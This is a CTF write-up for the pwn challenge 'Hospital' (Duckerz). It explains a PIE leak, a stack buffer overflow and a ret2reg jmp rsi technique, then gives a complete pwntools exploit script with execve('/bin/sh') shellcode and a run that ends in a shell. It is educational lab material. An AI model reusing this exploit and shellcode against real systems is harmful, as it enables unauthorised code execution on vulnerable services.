Hospital (Больница)
Hospital (Больница)
Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-21 | Status: Solved Techniques: jmp_rsi, pie_leak, ret2reg, shellcode_injection
Summary
Task: PWN binary with PIE enabled, no canary, and executable stack (RWX). Solution: Leak PIE base via info function, use ret2reg technique with jmp rsi gadget to execute shellcode in the buffer.
Hospital (Больница) — Duckerz CTF
Description
Больница будущего внедрила инновационную регистрацию. Система обещает идеальную точность, и сверхзвуковую скорость, но с безопасностью что-то пошло не так... Разберись в чем дело
Server: nc tasks.duckerz.ru 30013
Technical Information
- Binary: ELF 64-bit x86_64
- Protections:
- PIE: enabled
- Canary: disabled
- NX: disabled (Executable stack - RWX segments)
- RELRO: Full
Analysis
1. Buffer Overflow Vulnerability
The enterPatientCard() function (option 1 in menu) contains a classic buffer overflow:
- Stack buffer: 16 bytes (
rbp - 0x10) read()reads 128 bytes (0x80)- Offset to return address: 24 bytes (16 buffer + 8 saved rbp)
2. PIE Leak
Option 5 (showTechnicalInfo) prints the function address:
Адрес этой функции: 0x561cac132701
Offset showTechnicalInfo = 0x1701, which allows calculating PIE base:
python read-only • copy allowedpie_base = leaked_addr - 0x1701
3. Gadget Search
Found gadgets in .text section:
| Gadget | Offset | Bytes |
|---|---|---|
pop rax; ret | 0x114c | 58 c3 |
pop rdx; ret | 0x117e | 5a c3 |
jmp rax | 0x116f | ff e0 |
jmp rsi | 0x11fe | ff e6 |
Important: pop rdi; ret NOT found, which rules out classic ret2libc.
4. ret2reg Technique (jmp rsi)
Key observation: after calling read(0, buf, size):
rdi= 0 (stdin)rsi= buffer address (preserved!)rdx= size
The RSI register still points to our buffer after returning from read().
We use jmp rsi to jump to the beginning of the buffer with shellcode.
Solution
Shellcode Layout
Offset | Content | Description
--------|-------------------|---------------------------
[0-1] | jmp +46 (0xeb2e) | Jump over padding and ret addr
[2-15] | NOP padding | Fill up to saved rbp
[16-23] | fake RBP | Overwrite saved rbp
[24-31] | jmp_rsi addr | Return address → jmp rsi
[32-47] | NOP sled | Safe landing zone
[48+] | shellcode | execve("/bin/sh")
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' # io = process('./hospital') io = remote('tasks.duckerz.ru', 30013) # === Stage 1: PIE Leak === io.recvuntil(b':') io.sendline(b'5') # showTechnicalInfo io.recvuntil(b'0x') leak = int(io.recvline().strip(), 16) pie_base = leak - 0x1701 jmp_rsi = pie_base + 0x11fe log.info(f"PIE base: {hex(pie_base)}") log.info(f"jmp rsi @ {hex(jmp_rsi)}") # === Stage 2: Trigger Overflow === io.recvuntil(b':') io.sendline(b'1') # enterPatientCard io.recvuntil(b':') io.send(b'A' * 14 + b'\n') # First input (name) io.recvuntil(b':') # === Stage 3: Shellcode === # execve("/bin/sh", NULL, NULL) shellcode = bytes([ 0x48, 0x31, 0xf6, # xor rsi, rsi 0x56, # push rsi 0x48, 0xbf, # mov rdi, '/bin//sh' 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, # push rdi 0x54, # push rsp 0x5f, # pop rdi 0x48, 0x31, 0xd2, # xor rdx, rdx 0x6a, 0x3b, # push 59 0x58, # pop rax 0x0f, 0x05 # syscall ]) # === Stage 4: Build Payload === payload = b'\xeb\x2e' # jmp +46 (skip to shellcode) payload += b'\x90' * 14 # NOP padding to fill buffer payload += b'B' * 8 # fake saved RBP payload += p64(jmp_rsi) # return address → jmp rsi payload += b'\x90' * 16 # NOP sled payload += shellcode # execve shellcode io.send(payload) io.interactive()
Execution
bash read-only • copy allowed$ python3 solve.py [+] Opening connection to tasks.duckerz.ru on port 30013: Done [*] PIE base: 0x561cac131000 [*] jmp rsi @ 0x561cac1321fe [*] Switching to interactive mode $ cat flag.txt DUCKERZ{REDACTED}
Alternative Approaches
- Direct ret2shellcode — if there was a stack address leak
- ret2libc — if there was
pop rdi; retand libc leak - mprotect + shellcode — if stack was NX
References
- ret2reg technique
- x86_64 calling convention